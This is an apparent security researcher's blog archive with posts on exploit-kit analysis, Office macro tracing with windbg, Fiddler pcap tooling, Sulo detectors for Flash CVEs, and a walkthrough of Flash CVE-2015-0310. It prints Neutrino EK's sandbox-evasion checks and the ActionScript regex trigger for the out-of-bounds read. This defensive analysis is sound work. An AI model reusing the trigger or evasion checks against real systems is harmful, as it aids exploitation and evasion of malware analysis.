Build nwjs12 for windows

Here is the list of steps to build nwjs12 for windows:

Download https://src.chromium.org/svn/trunk/tools/depot_tools.zip
Set up the path for depot_tools
gclient
Install VS 2013 community edition
Install Windows 10 SDK
set DEPOT_TOOLS_WIN_TOOLCHAIN=0
set GYP_DEFINES=”clang=0 nwjs_sdk=0 disable_nacl=1″
set GYP_MSVS_VERSION=2013
mkdir -p $HOME/nwjs
cd $HOME/nwjs
gclient config –name=src https://github.com/nwjs/chromium.src.git@origin/nw12
    Add this to .gclient
    “custom_deps” : {
      “src/third_party/WebKit/LayoutTests”: None,
      “src/chrome_frame/tools/test/reference_build/chrome”: None,
      “src/chrome_frame/tools/test/reference_build/chrome_win”: None,
      “src/chrome/tools/test/reference_build/chrome”: None,
      “src/chrome/tools/test/reference_build/chrome_linux”: None,
      “src/chrome/tools/test/reference_build/chrome_mac”: None,
      “src/chrome/tools/test/reference_build/chrome_win”: None,
    }

gclient sync –with_branch_heads
Install DirectX SDK
    You have to uninstall VS 2010 redistributable package
    Install DirectX SDK
    Install VS 2010 redistributable package
mkdir -p $HOME/nwjs/src/third_party/directxsdk/files
cp -r /c/Program\ Files\ \(x86\)/Microsoft\ DirectX\ SDK\ \(June\ 2010\)/* $HOME/nwjs/src/third_party/directxsdk/files/
cd src
ninja -C out/Debug nw

Posted in browser, Chrome, Web, Windows | Tagged , , , | Leave a comment

Deobfuscate Javascript using PhantomJS (Headless browser)

Recently when i got a chance to analyze Neutrino Exploit kit capture, i noticed that Neutrino EK has a detection and check for headless browser and other JS based frameworks. One thing that is interesting about Neutrino EK is all the exploit codes are bundled in a single swf/flash file. Over the network we see only one swf file. Once that swf file is loaded it injects the exploit JS code from swf to browser and executes it. Leaving the EK related details aside, when i saw that headless browser check, i wanted to check whether we can use these headless browser(s)/frameworks for JS code deobfuscation. Looks like EK authors are aware of this kind of techniques and they have added the checks in the exploit code.

Here is the code used in the Neutrino EK:

private function collectBrowserInfo():void{
    var _local_2:String = ExternalInterface.call(“function(){return window.navigator.appName;}”);
    var _local_10:String = ExternalInterface.call(“function(){return window.navigator.appCodeName;}”);
    var _local_5:String = ExternalInterface.call(“function(){return window.navigator.vendor;}”);
    var _local_1:Boolean = ExternalInterface.call(“function(){return navigator.cookieEnabled;}”);
    var _local_9:Boolean = ExternalInterface.call(“function(){return !!window.callPhantom;}”);
    var _local_3:Boolean = ExternalInterface.call(“function(){return !!window.Buffer;}”);
    var _local_7:Boolean = ExternalInterface.call(“function(){return !!window.emit;}”);
    var _local_8:Boolean = ExternalInterface.call(“function(){return !!window.spawn;}”);

    var _local_4:String = ExternalInterface.call(“function(){return navigator.userAgent;}”);
    var _local_6:Boolean = ExternalInterface.call(“function(){return /*@cc_on!@*/false || !!document.documentMode;}”);
    this.browserInfo = {
        “userAgent”:_local_4,
        “cntFonts”:Font.enumerateFonts(true).length,
        “cpuArchitecture”:Capabilities.cpuArchitecture,
        “isDebugger”:Capabilities.isDebugger,
        “playerType”:Capabilities.playerType,
        “os”:Capabilities.os,
        “language”:Capabilities.language,
        “flashVer”:Capabilities.version,
        “screenColor”:Capabilities.screenColor,
        “screenDPI”:Capabilities.screenDPI,
        “screenResolutionX”:Capabilities.screenResolutionX,
        “screenResolutionY”:Capabilities.screenResolutionY,
        “supports32BitProcesses”:Capabilities.supports32BitProcesses,
        “supports64BitProcesses”:Capabilities.supports64BitProcesses,
        “externalInterface”:ExternalInterface.available,
        “isIe”:_local_6,
        “cookieEnabled”:_local_1,
        “appName”:_local_2,
        “appCodeName”:_local_10,
        “vendor”:_local_5,
        “isPhantom”:_local_9,
        “isNodeJs”:_local_3,
        “isCouchJs”:_local_7,
        “isRhino”:_local_8

    };
}

private function checkBrowserInfo():Boolean{
    if (true === this.browserInfo.isPhantom)
    {
        return (false);
    };
    if (true === this.browserInfo.isNodeJs)
    {
        return (false);
    };
    if (true === this.browserInfo.isCouchJs)
    {
        return (false);
    };
    if (true === this.browserInfo.isRhino)
    {
        return (false);
    };
    if (true === this.browserInfo.isDebugger)
    {
        return (false);
    };
    return (true);
}

private function init(e:Event=null):void{
    removeEventListener(“addedToStage”, this.init);
    this.rtConfigKey = “mrqvlocnq75108”;
    this.encryption = new crypt();
    if (false === this.checkEnvironment())
    {
        return;
    };
    this.collectBrowserInfo();
    if (false === this.decodeRtConfig())
    {
        return;
    };
    if (false === this.checkBrowserInfo())
    {
        this.postBotInfo();
        return;
    };

 

Leaving the EK related information aside, lets see how we can use Phantom JS to deobfuscate the JS code used in the Exploit kits. I used few code from Phantom JS document. Here is the Phantom JS script (It is actually a text file. Download and save the file as .js or .txt)to deobfuscate the code i captured from a exploit delivery capture. Once you executed the script, it will capture the information from window.eval() and document.write(). Here is the screenshot of the execution.

                  image

Here is the screenshot of obfuscated and deobfuscated code.

image

 

Yes there are many ways to capture the information from these two functions from browser. Using PhantomJS is just another method.

Posted in browser, Chrome, Exploit, Exploit Kit | Tagged , , , , | 5 Comments

Angler Exploit kit breaks Referer chain using HTTPS to HTTP redirection

The author(s) behind Angler EK is known to release reliable exploit(s) for flash/IE and to use various techniques to break various logics used by analysis products for the detection. Recently a security researcher blogged about a new technique used by Angler EK to break the referer chain. Today i got a chance to look into another pcap from ThreatGlass. Looking into the initial request to the exploit delivery server, it misses the referer field.

image

Looking deeper, the previous HTTP session #57 does a browser refresh using “meta” . Interestingly it uses Google short link service to break this referer chain. Interestingly it uses a HTTPS link.

image

Lets try to access this Google Short link using wget. Request to https : // goo.gl /cXQJ9c redirects the browser to a HTTP link using 302 HTTP response method.

                image 

As per the RFC 7231, web browsers will not send the Referer when there is a transition from a HTTPS link to a HTTP link.

The Referer field has the potential to reveal information about the
request context or browsing history of the user, which is a privacy
concern if the referring resource's identifier reveals personal
information (such as an account name) or a resource that is supposed
to be confidential (such as behind a firewall or internal to a
secured service).  Most general-purpose user agents do not send the
Referer header field when the referring resource is a local "file" or
"data" URI.  A user agent MUST NOT send a Referer header field in an
unsecured HTTP request if the referring page was received with a
secure protocol.
Posted in Exploit, Exploit Kit, Malware | Tagged , , , , | 1 Comment

Instrument Microsoft Office applications to defeat macro obfuscations

With the recent increase in documents with macros used to deliver malwares, researchers spend considerable amount of time to analyze these attached scripts to understand the inner workings. Though the macros does follow the similar pattern in file download and execute, the scripts are obfuscated. There are multiple ways both statically and dynamically to analyze these malicious documents. We have lot of static analysis tools to analyze these document(s) but the problem is we need to update these tools when the malware authors use different obfuscation techniques or use different file format that can be processed by Microsoft Office applications. Recently JoeSecurity released a blog about instrumenting office applications to dynamically analyze these macros. I decided to find these hooks and use it for analysis. I used windbg to install some hooks/breakpoints and extracted this information. I haven’t written any code to inject my hooks into office application but that can be done. Lets put it to test. The windbg output should give a clear picture about inner working of script.

Word document sample 1:

        image

Word document sample 2:

         image

Attaching the full windbg output here.

Excel document sample:

         image

Basically i hooked at eight different places in vbe7.dll and oleaut32.dll.  This uses some non-exported functions so the hooks are version specific. One advantage is, these hooks will work with winword/excel/powerpnt.

windbg commands: (oleaut32.dll – 6.1.7601.18679 and vbe7.dll – 7.1.10.42)
  bp oleaut32+(0x6FC50D83-0x6FC30000) “.printf \”Concatenated String= \”; du /c100 poi(poi(ebp+0x10)); gc”
    bp VBE7+(0x100f0436-0x10000000) “.if (poi(edx) == 0x8) { .printf \”Assigning String Type1= \”; du poi(edx+8); g; } .else {gc}”
    bp VBE7+(0x100154A7-0x10000000) “.printf \”Assigning string Type2= \”; du /c100 ebx; g;”
    bp VBE7+(0x10216ece-0x10000000) “.printf \”Creating object \”; du /c100 poi(esp+8); g”
    bp VBE7+(0x10233960-0x10000000) “.printf \”Calling Created object’s function \”; du /c100 poi(esp+4);g;”
    bp VBE7+(0x100153D3-0x10000000) “.printf \”Setting Integer variable= \”; r bx; gc”
    bp VBE7+(0x100F03B1-0x10000000) “.printf \”Assigning string Type3= \”; du /c100 eax; g”
    bp VBE7+(0x100435C4-0x10000000) “.if (bx == 0x8) { .printf \”Assigning string Type4= \”; du /c100 ecx; g; } .else {gc}”

Update (07/27/2015):

windbg commands: (oleaut32.dll – 5.1.2600.5512 and vbe7.dll – 7.0.15.90) – In my VM
bp oleaut32+(0x7713A9C3-0x77120000) “.printf \”Concatenated String= \”; du /c100 poi(poi(ebp+0x10)); gc”
bp VBE7+(0x650D041C-0x65000000) “.if (poi(edx) == 0x8) { .printf \”Assigned String= \”; du poi(edx+8); g; } .else {gc}”
bp VBE7+(0x6500BB31-0x65000000) “.printf \”Assigning string= \”; du /c100 ebx; g;”
bp VBE7+(0x6521D2AB-0x65000000) “.printf \”Creating object \”; du /c100 poi(esp+8); g”
bp VBE7+(0x652417AD-0x65000000) “.printf \”Calling Created object’s function \”; du /c100 poi(esp+4);g;”
bp VBE7+(0x6500985C-0x65000000) “.printf \”Setting Integer variable= \”; r bx; gc”
bp VBE7+(0x6500AD2C-0x65000000) “.printf \”Assigning string= \”; du /c100 eax; g”
bp VBE7+(0x6500904D-0x65000000) “.if (bx == 0x8) { .printf \”Assigning string Type4= \”; du /c100 ecx; g; } .else {gc}”

Posted in Document Macro malware Analysis, Exploit, Malware, Malware Analyzer | Tagged , , , , | 1 Comment

Dealing with pcaps in windows using Fiddler/FiddlerCore

Many a times when we receive a pcap(especially exploit packs pcaps) for malware analysis purpose we had to do lot of manual work to load it in Fiddler and extract the objects and analyze those. While using windows, i depend on Fiddler for file extraction. I usually import it to fiddler manually and extract the objects. I wanted a command line version of Fiddler import and extract option but unfortunately i couldn’t find those components in the fiddlercore.

After a little bit of digging, i have finally come up with a command line version of this tool that can read the pcap, extract objects and convert the pcap to saz file. I have decided not to release the code because it has lot of code from Fiddler. It’s good if Telerik move the pcap parsing code to FiddlerCore and export the API. So that we all can use it. My blog post is just to show a possibility to do this using FiddlerCore.

I have customized the code to do the following:
    1. pcap2saz
    2. Extract the objects (analyzethispcap)
    3. Dump the headers
    4. Display the infection chain
    5. Anonymize SAZ files
         Fiddler created SAZ files contains an XML file for each and every
         session and that includes source and destination IP’s. Sometimes
         we want to share the SAZ files but not these details. Let’s remove it.

 

Some of the screenshots:

image

image

image

Posted in Malware, Malware Analyzer, Tools, Web, Windows | Tagged , , , , , , | Leave a comment

Extend Sulo to find the CVE of Flash exploits

In this blog, i like to discuss more about detecting the vulnerability triggered by a particular exploit using Sulo. I have extended it to detect few of the recent vulnerabilities. I have added code to detect CVE-2015-0310, CVE-2015-0311 and CVE-2015-0313. This is useful to security researchers who analyze flash exploits. Yes you can find those by parsing the output that Sulo produces but many a times exploit crashes the IE process before we get some interesting logs or log file size is too big and time consuming to analyze. I am sure we can extend it to detect few more vulnerabilities that is used in exploit kits. It will reduce the time needed to analyze (and identify CVE of ) exploit sample. I have seen cases where a single flash exploit exploits various vulnerabilities, in this case we will detect only one CVE. So in that case we definitely need manual analysis.

I have decided to leave few code snippets in this blog to give you an idea. I am sure information provided here is enough to make it work.

CVE-2015-0310:
    In the previous blog post, i talked about this vulnerability and in the end of the blog
    i showed the binary diff between vulnerable and patched version. So we have a RVA to start with.
    So by hooking that address(in vulnerable version), i detect this vulnerability.
    VOID CVE_2015_0310_Detect(UINT32 ecx)
    {
        if(ecx > 0x31){
            LOGF(“Possibly CVE-2015-0310 triggered. ecx= %x”, ecx);
        }
    }

CVE-2015-0311:
    You need to add the following code in CallTracerPlugin::beforeMethodCall() at right place
    // CVE_2015_0311 detection code
    if( !strcmp(methodName.c_str(), “flash.utils::ByteArray/writeUnsignedInt”) ||
        !strcmp(methodName.c_str(), “flash.utils::ByteArray/writeByte”)        ||
        !strcmp(methodName.c_str(), “flash.utils::ByteArray”)){
        CVE_2015_0311_detector.byteArrayUsed((void*)(argv[0]), m_callDepth+1);
    } else {
        if(!strcmp(methodName.c_str(), “flash.utils::ByteArray/compress”)){
            CVE_2015_0311_detector.compressCalled((void*)(argv[0]));
        } else {
            if(!strcmp(methodName.c_str(), “flash.system::ApplicationDomain/set domainMemory”)){
                CVE_2015_0311_detector.assigned2DomainMemory ((void*)(argv[1]));
            } else {
                if(!strcmp(methodName.c_str(), “flash.utils::ByteArray/uncompress”)){
                    CVE_2015_0311_detector.uncompressCalled((void*)(argv[0]), m_callDepth+1);
                } else {
                    if(!strcmp(methodName.c_str(), “flash.errors::IOError”)){
                        CVE_2015_0311_detector.seenAnIOError(m_callDepth+1);
                    }
                }
            }
        }
    }

    This is a Separate Class:
    class CVE_2015_0311
    {
    public:
        // collecting bytearrays
        void byteArrayUsed(void *baAddress, unsigned int depth)
        {
            std::map<void *, class ba_info*>::iterator it= ba_data.find(baAddress);
            if( it == ba_data.end()){
                LOGF(“Found a new ByteArray 0x%x)\n”, baAddress);
                ba_data.insert(std::make_pair(baAddress, new ba_info() ));
            } else {
                if (it->second->m_BA_CVE_2015_0311_current_state == COMPRESSED){
                    LOGF(“Found an compressed bytearray that is modified. 0x%x\n”, baAddress);
                    it->second->m_BA_CVE_2015_0311_current_state= COMPRESSED_BUFFER_MODIFIED;
                }
                it->second->m_uncompress_call_depth= 0xDEADBEAF;
            }
        }

        void compressCalled(void *baAddress)
        {
            std::map<void *, class ba_info*>::iterator it= ba_data.find(baAddress);
            if( it != ba_data.end()){
                if (it->second->m_BA_CVE_2015_0311_current_state == UNKNOWN){
                    LOGF(“Found an bytearray that is getting compressed. 0x%x\n”, baAddress);
                    it->second->m_BA_CVE_2015_0311_current_state= COMPRESSED;
                }
                else{
                    LOGF(“FAILED1\n”);
                    //exit(0); // panic
                }
            } else {
                LOGF(“FAILED2\n”);
                //exit(0); // panic
            }
        }

        void assigned2DomainMemory(void *baAddress)
        {
            std::map<void *, class ba_info*>::iterator it= ba_data.find(baAddress);
            if( it != ba_data.end()){
                if (it->second->m_BA_CVE_2015_0311_current_state == COMPRESSED_BUFFER_MODIFIED){
                    LOGF(“Found an compressed bytearray that is assigned to DomainMemory. 0x%x\n”, baAddress);
                    it->second->m_BA_CVE_2015_0311_current_state= COMPRESSED_BUFFER_ASSIGNED_TO_DOMAINMEMORY;
                } else{
                    LOGF(“FAILED3\n”);
                    //exit(0); // panic
                }
            } else {
                LOGF(“FAILED4\n”);
                //exit(0); // panic
            }
        }

        void uncompressCalled(void *baAddress,unsigned int call_depth)
        {
            std::map<void *, class ba_info*>::iterator it= ba_data.find(baAddress);
            if( it != ba_data.end()){
                if (it->second->m_BA_CVE_2015_0311_current_state == COMPRESSED_BUFFER_ASSIGNED_TO_DOMAINMEMORY){
                    LOGF(“Found an uncompress call on modified compressed bytearray. 0x%x (depth= %d)\n”, baAddress, call_depth);
                    it->second->m_BA_CVE_2015_0311_current_state= COMPRESSED_BUFFER_UNCOMPRESSED;
                    it->second->m_uncompress_call_depth= call_depth;
                }/* else{
                    LOGF(“FAILED5\n”);
                    exit(0); // panic
                }*/
            } else {
                LOGF(“FAILED6\n”);
                //exit(0); // panic
            }
        }

        void seenAnIOError(unsigned int depth)
        {
            std::map<void *, class ba_info*>::iterator it;
            LOGF(“Seen an IOError. (depth= %d)\n”, depth);
            for (it = ba_data.begin(); it != ba_data.end(); ++it) {
                if (it->second->m_BA_CVE_2015_0311_current_state == COMPRESSED_BUFFER_UNCOMPRESSED){
                    if ( it->second->m_uncompress_call_depth < depth){
                        // Found it.
                        LOGF(“Found an exploit exploiting vulnerability CVE-2015-0311\n”);
                    }
                }
            }
        }
    };

CVE-2015-0313:
    You need to add the following code in CallTracerPlugin::beforeMethodCall() at right place
    // CVE_2015_0313 detection code
    if( !strcmp(methodName.c_str(), “flash.utils::ByteArray/writeUnsignedInt”) ||
        !strcmp(methodName.c_str(), “flash.utils::ByteArray/writeByte”)        ||
        !strcmp(methodName.c_str(), “flash.utils::ByteArray”)){
        CVE_2015_0313_detector.byteArrayUsed((void*)(argv[0]), m_callDepth+1);
    } else {
        if(!strcmp(methodName.c_str(), “flash.system::ApplicationDomain/set domainMemory”)){
            ASByteArray *byteArray_ptr= ASByteArray::create((UINT32*)(argv[1]));
            CVE_2015_0313_detector.assigned2DomainMemory((void*)(argv[1]), byteArray_ptr->getDataPtr(), byteArray_ptr->getDataLength(), WINDOWS::GetCurrentThreadId());
        } else {
            if(!strcmp(methodName.c_str(), “flash.utils::ByteArray/clear”)){
                ASByteArray *byteArray_ptr= ASByteArray::create((UINT32*)(argv[0]));
                CVE_2015_0313_detector.ByteArrayCleared((void*)(argv[0]), byteArray_ptr->getDataPtr(), byteArray_ptr->getDataLength(), WINDOWS::GetCurrentThreadId());
            }
        }
    }

    This is a separate class:
    class CVE_2015_0313
    {
    public:
        // collecting bytearrays
        void byteArrayUsed(void *baAddress, unsigned int depth)
        {
            std::map<void *, class ba_info*>::iterator it= ba_data.find(baAddress);
            if( it == ba_data.end()){
                LOGF(“Found a new ByteArray 0x%x)\n”, baAddress);
                ba_data.insert(std::make_pair(baAddress, new ba_info() ));
            }
        }

        void assigned2DomainMemory(void *baAddress, unsigned char *buffer, unsigned int buffferlen, WINDOWS::DWORD threadID)
        {
            std::map<void *, class ba_info*>::iterator it= ba_data.find(baAddress);
            if( it != ba_data.end()){
                if (it->second->m_BA_CVE_2015_0313_current_state == UNKNOWN){
                    LOGF(“Found an bytearray that is assigned to DomainMemory. 0x%x\n”, baAddress);
                    it->second->m_BA_CVE_2015_0313_current_state= BUFFER_ASSIGNED_TO_DOMAINMEMORY;
                    it->second->buffer= buffer;
                    it->second->buffer_len= buffferlen;
                    it->second->threadID= threadID;
                } else{
                    LOGF(“FAILED3\n”);
                    //exit(0); // panic
                }
            } else {
                LOGF(“FAILED4\n”);
                //exit(0); // panic
            }
        }

        void ByteArrayCleared(void *baAddress, unsigned char *buffer, unsigned int buffferlen, WINDOWS::DWORD threadID)
        {
            std::map<void *, class ba_info*>::iterator it;
            for (it = ba_data.begin(); it != ba_data.end(); ++it) {
                if (it->second->m_BA_CVE_2015_0313_current_state == BUFFER_ASSIGNED_TO_DOMAINMEMORY){
                    if ( it->second->buffer == buffer &&
                         it->second->buffer_len == buffferlen &&
                         it->second->threadID != threadID){
                        // Found it.
                        LOGF(“Found an exploit exploiting vulnerability CVE-2015-0313\n”);
                    }
                }
            }
        }
    };

Posted in browser, Exploit, Exploit Kit, Flash, Flash Exploit Analysis | Tagged , , , , , , , | 1 Comment

Understanding CVE-2015-0310 Flash vulnerability

The Flash vulnerability CVE-2015-0310 is fixed in recent patch from Adobe. The vulnerability is in RegEx result parsing code. The vulnerability affects all the version below 16.0.0.287 and patched on January 2015. Though Adobe didn’t provide much information about the vulnerability fixed and very less information available in public, we have an exploit that exploits this vulnerability and have some information from IPS vendors signature names (PCRE Memory Access Violation).

Let’s dig more into the exploit from the fiddler capture shared by malware.dontneedcoffee.com. Here is the small piece of ActionScript code that triggers this vulnerability:
    var _local_2 : String = “(?!e|())\37”;
    var triggeringregex : String = “”;
    var _regExpobject : RegExp = null;

    var _local_3 : int = 0;
    while (_local_3 < 48) {
        _local_2 = ((“(” + _local_2) + “)|a”);
        _local_3++;
    };
    triggeringregex = ((“sh(?!e|” + _local_2) + “)(?P<test>)”);
    trace(triggeringregex);

    _regExpobject = new RegExp(triggeringregex, “”);
    _regExpobject.exec(“sh0123456789sh0123456789”);

The final constructed regular expression string is,
    sh(?!e|((((((((((((((((((((((((((((((((((((((((((((((((?!e|())37)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)(?P<test>)

The exploit we have seen in the wild exploits very specific versions of vulnerable Flash. They used few fixed offsets based on the Flash version. The exploit works only in Flash versions 13.0.0.250 to 13.0.0.258 and 15.0.0.189 to 15.0.0.239.

    final private function isitvulnerableflashversion() : Boolean {
           this.FlashplayerVersion = this.GetFlashVersion();
           if (this.FlashplayerVersion == 0) {
                return (false);
           };
           this.osversion = Capabilities.os.toLowerCase();
           if ((((this.osversion == “windows 8”)) || ((this.osversion == “windows 8.1”)))) // “windows 8” or “windows 8.1”
           {
               this.windows8 = true;
           };
           this.flashplayertype = Capabilities.playerType.toLowerCase();
           this._FlashplayerVersion = String(this.FlashplayerVersion);
           this.isItActiveX = (this.flashplayertype == “activex”);
           this.isItFlashPlugin = (this.flashplayertype == “plugin”);

           if (((!(this.isItActiveX)) && (!(this.isItFlashPlugin)))) {
               this.booleanStopExploitation = true;
               return (false);
           };
           if (((!(this.isItFlashPlugin)) && (this.windows8))) {
               return (false);
           };
           return ((((((this.FlashplayerVersion >= 130000250)) && ((this.FlashplayerVersion <= 130000258)))) ||
                    ((((this.FlashplayerVersion >= 150000189)) && ((this.FlashplayerVersion <= 150000239))))));
    }

Lets dig AVMPlus code to understand the vulnerability. The vulnerability is triggered in RegExpObject::_exec() function that is in RegExpObject.cpp. This function is called when you call RegExp::exec() from the ActionScript. This function accepts the subject string and few other indexes and return an array that is returned to ActionScript during the call up.

ArrayObject* RegExpObject::_exec(Stringp subject,
                                    StIndexableUTF8String& utf8Subject,
                                    int startIndex,
                                    int& matchIndex,
                                    int& matchLen)
    {
        AvmAssert(subject != NULL);

        int ovector[OVECTOR_SIZE];
        int results;
        int subjectLength = utf8Subject.length();

        PCRE_STATE(toplevel());
        if( startIndex < 0 ||
            startIndex > subjectLength ||
            (results = pcre_exec((pcre*)(m_pcreInst->regex),
                                NULL,
                                utf8Subject.c_str(),
                                subjectLength,
                                startIndex,
                                PCRE_NO_UTF8_CHECK,
                                ovector,
                                OVECTOR_SIZE)) < 0)
        {
            matchIndex = 0;
            matchLen = 0;
            return NULL;
        }

        AvmCore *core = this->core();
        ArrayObject *a = toplevel()->arrayClass()->newArray(results);

        a->setAtomProperty(core->kindex->atom(),
               core->intToAtom(utf8Subject.toIndex(ovector[0])));
        a->setAtomProperty(core->kinput->atom(),
               subject->atom());
        a->setLength(results);

        // set array slots
        for (int i=0; i<results; i++) {
            if (ovector[i*2] > -1) {
                int length = ovector[i*2 + 1] – ovector[i*2];
                Atom match = stringFromUTF8(utf8Subject.c_str()+ovector[i*2], length);
                a->setUintProperty(i, match);
            } else {
                a->setUintProperty(i, undefinedAtom);
            }
        }

        // handle named groups
        if (m_hasNamedGroups)
        {
            int entrySize;
            pcre_fullinfo((pcre*)(m_pcreInst->regex), NULL, PCRE_INFO_NAMEENTRYSIZE, &entrySize);

            int nameCount;
            pcre_fullinfo((pcre*)(m_pcreInst->regex), NULL, PCRE_INFO_NAMECOUNT, &nameCount);

            // this space is freed when (pcre*)m_pcreInst is freed
            char *nameTable;
            pcre_fullinfo((pcre*)(m_pcreInst->regex), NULL, PCRE_INFO_NAMETABLE, &nameTable);

            /* nameTable is a series of fixed length entries (entrySize)
               the first two bytes are the index into the ovector and the result
               is a null terminated string (the subgroup name) */
            for (int i = 0; i < nameCount; i++)
            {
                int nameIndex, length;
                nameIndex = (nameTable[0] << 8) + nameTable[1];
                length = ovector[nameIndex * 2 + 1] – ovector[ nameIndex * 2 ];

                Atom name = stringFromUTF8((nameTable+2), (uint32_t)VMPI_strlen(nameTable+2));
                name = core->internString(name)->atom();

                Atom value = stringFromUTF8(utf8Subject.c_str()+ovector[nameIndex*2], length);

                a->setAtomProperty(name, value);

                nameTable += entrySize;
            }
        }

        matchIndex = ovector[0];
        matchLen = ovector[1]-ovector[0];

        return a;
    }

This function has a fixed sized array ovector[] of size OVECTOR_SIZE (99) in the stack that stores various string match’s starting and ending indexes. Two entries in ovector is used for each and every match. At the max ovector array can store up to 49 matches. RegExpObject::_exec() calls pcre_exec() that is part of PCRE framework. Flash uses old version of PCRE. If you look into pcre_exec() return values, there are four cases in it.
    Returns:          > 0 => success; value is the number of elements filled in
                              = 0 => success, but offsets is not big enough
                              -1 => failed to match
                              < -1 => some kind of unexpected problem

Positive values means success and negative values means there is some error in match or no match. It will return value 0 (zero) if “ovector” array passed to that is not big enough to hold the matches. In the vulnerable regex string we passed to the RegExpObject::_exec, if you count the number of open brackets, it will count to more than 48. So pcre_exec() is going to return 0(zero) and ovector is going to have some dummy values(0xFFFFFFFF) in it. Note that passed regex string has a “named capture” named “test”. PCRE uses an internal data structure(compile_data) to capture the information about the “named capture’s” names and offsets to ovector. While compiling the regex, PCRE uses compile_data.name_table to store the “offset”(first two bytes in network byte order) to ovector and capture name. In this case, for this regex, it’s going to have one entry like this.

                      image

For this regex, we do have a “named capture”, so m_hasNamedGroups is going to be true. At this point, Flash start processing “named capture” matches. It retrieves the “named capture” meta information for this regex using pcre_fullinfo(). It uses the “match offset” value of 0x0032(nameIndex) to access ovector. In ovector, we use two entries to store one match. So, 0x32 “match offset” means it is accessing 50*2+1 and 50+1 indexes. That is out of bound read. If you control number of open brackets then you can control the offset into the process stack to read from.

                             image

The Adobe’s patch is to check for some max limit on nameIndex that is within ovector range. Lets diff the binary to see the differences between two Flash versions.

image

Let’s compile and run this ActionScript code using AVMPlus. You can actually crash the AVMPlus code too. Here is the output: (i have added few more printf)

C:\flash\test>java -jar flex_sdk_4.6\lib\asc.jar -AS3 -import flex_sdk_4.6\lib\aot\lib\builtin.abc CVE_2015_0310.as

CVE_2015_0310.abc, 410 bytes written

C:\flash\test>”C:\avmplus\platform\win32\obj2010\Release\avm.exe”  CVE_2015_0310.abc
sh(?!e|(((((((((((((((((((((((((((((((((((((((((((((((((?!e|())37)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)|a)(?P<test>)
cd->bracount=  49
startIndex=0
subjectLength=24
entrySize=7
nameCount=1
nameTable[0]= 00
nameTable[1]= 32
nameIndex= 32
results=0
ovector[0]= 0
ovector[1]= 2
ovector[2]= ffffffff
ovector[3]= ffffffff
ovector[4]= ffffffff
ovector[5]= ffffffff
ovector[6]= ffffffff
ovector[7]= ffffffff
ovector[8]= ffffffff
ovector[9]= ffffffff
ovector[10]= ffffffff
ovector[11]= ffffffff
ovector[12]= ffffffff
ovector[13]= ffffffff
ovector[14]= ffffffff
ovector[15]= ffffffff
ovector[16]= ffffffff
ovector[17]= ffffffff
ovector[18]= ffffffff
ovector[19]= ffffffff
ovector[20]= ffffffff
ovector[21]= ffffffff
ovector[22]= ffffffff
ovector[23]= ffffffff
ovector[24]= ffffffff
ovector[25]= ffffffff
ovector[26]= ffffffff
ovector[27]= ffffffff
ovector[28]= ffffffff
ovector[29]= ffffffff
ovector[30]= ffffffff
ovector[31]= ffffffff
ovector[32]= ffffffff
ovector[33]= ffffffff
ovector[34]= ffffffff
ovector[35]= ffffffff
ovector[36]= ffffffff
ovector[37]= ffffffff
ovector[38]= ffffffff
ovector[39]= ffffffff
ovector[40]= ffffffff
ovector[41]= ffffffff
ovector[42]= ffffffff
ovector[43]= ffffffff
ovector[44]= ffffffff
ovector[45]= ffffffff
ovector[46]= ffffffff
ovector[47]= ffffffff
ovector[48]= ffffffff
ovector[49]= ffffffff
ovector[50]= ffffffff
ovector[51]= ffffffff
ovector[52]= ffffffff
ovector[53]= ffffffff
ovector[54]= ffffffff
ovector[55]= ffffffff
ovector[56]= ffffffff
ovector[57]= ffffffff
ovector[58]= ffffffff
ovector[59]= ffffffff
ovector[60]= ffffffff
ovector[61]= ffffffff
ovector[62]= ffffffff
ovector[63]= ffffffff
ovector[64]= ffffffff
ovector[65]= ffffffff
ovector[66]= ffffffff
ovector[67]= ffffffff
ovector[68]= ffffffff
ovector[69]= ffffffff
ovector[70]= ffffffff
ovector[71]= ffffffff
ovector[72]= ffffffff
ovector[73]= ffffffff
ovector[74]= ffffffff
ovector[75]= ffffffff
ovector[76]= ffffffff
ovector[77]= ffffffff
ovector[78]= ffffffff
ovector[79]= ffffffff
ovector[80]= ffffffff
ovector[81]= ffffffff
ovector[82]= ffffffff
ovector[83]= ffffffff
ovector[84]= ffffffff
ovector[85]= ffffffff
ovector[86]= ffffffff
ovector[87]= ffffffff
ovector[88]= ffffffff
ovector[89]= ffffffff
ovector[90]= ffffffff
ovector[91]= ffffffff
ovector[92]= ffffffff
ovector[93]= ffffffff
ovector[94]= ffffffff
ovector[95]= ffffffff
ovector[96]= ffffffff
ovector[97]= ffffffff
ovector[98]= ffffffff
entrySize=7
nameCount=1
nameTable[0]= 00
nameTable[1]= 32
nameIndex= 32
avmplus crash: exception 0xC0000005 occurred
Writing minidump crash log to avmplusCrash.dmp

Posted in Exploit, Exploit Kit, Flash, Flash Exploit Analysis | Tagged , , , , | 2 Comments